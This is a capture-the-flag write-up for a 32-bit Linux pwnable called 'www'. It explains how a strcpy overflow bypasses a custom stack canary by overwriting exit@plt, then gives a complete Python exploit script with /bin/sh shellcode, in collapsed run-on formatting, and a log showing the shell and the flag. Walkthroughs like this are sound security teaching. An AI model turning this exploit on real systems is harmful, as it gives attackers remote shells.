After solving sushi, there were plenty of pwnables left to choose from. Next up was www!
www was a 200 point challenge and consisted of a 32-bit Linux binary. After dealing with sushi, I decided to inspect the binary in gdb-peda right away:
Again, no protections in place. Running the binary reveals what it is trying to do:
1234567891011
gdb-peda$ r
Welcome to www! Please give me two strings to have them echoed back to you!
buffers at 0xffffd4c4 and 0xffffd3c4, ready for input!
AAAAAA
BBBBBB
AAAAAA
BBBBBB
Stack canary created: >tC[hbw]Better luck next time, eh?
Looks like it has two buffers on the stack and a custom stack canary implementation. The vulnerable function is called copybuf:
In short, the program takes two inputs and uses strcpy() to copy these to the stack. However, the saved return address on the stack is protected from overwriting by a custom stack canary. The way around is to exploit the buffer overflow to overwrite one of the arguments to the second strcpy(): the pointer to the second buffer. If we control that pointer, we basically have a write-what-where. I chose to overflow the pointer to the second buffer with the address of exit@plt. This way, after overwriting the stack canary, the program will try to exit, but exit@plt will point to attacker-controlled shellcode on the stack.
fromsocketimport*importstruct,telnetlib,redefp(x):returnstruct.pack('<L',x)defpQ(x):returnstruct.pack('<Q',x)s=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 17284))s.connect(('www.termsec.net',17284))buf=s.recv(200)m=re.findall('(0x[0-9a-f]+)',buf)buf1_addr=int(m[0],16)buf2_addr=int(m[1],16)print"[~] buf1: 0x%lx"%buf1_addrprint"[~] buf2: 0x%lx"%buf2_addr# first input will overwrite the pointer that is used for the second strcpy payload=""payload+="A"*45# paddingpayload+=p(0x8049d10)# we'll overwrite exit@pltpayload+=p(buf2_addr)# restore this on the stack, otherwise it will be partially overwrittens.send(payload+"\n")# second input, used in second strcpy. By now, that strcpy will call:# strcpy(0x8049d10, buffer2)payload=""payload+=p(buf2_addr+4)# overwrite exit@plt with the address where the shellcode startspayload+="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"s.send(payload+"\n")s.recv(200)print"[!] enjoy your shell"t=telnetlib.Telnet()t.sock=st.interact()s.close()
123456789
bas@tritonal:~/tmp/yvrctf/www-200$ python ./www.py
[~] buf1: 0xbfa660d4
[~] buf2: 0xbfa65fd4
[!] enjoy your shell
id
/bin//sh: 1: id: not found
cat flag.txt
flag{K33P_ST4T1C_L1K3_W00L_F4BR1C}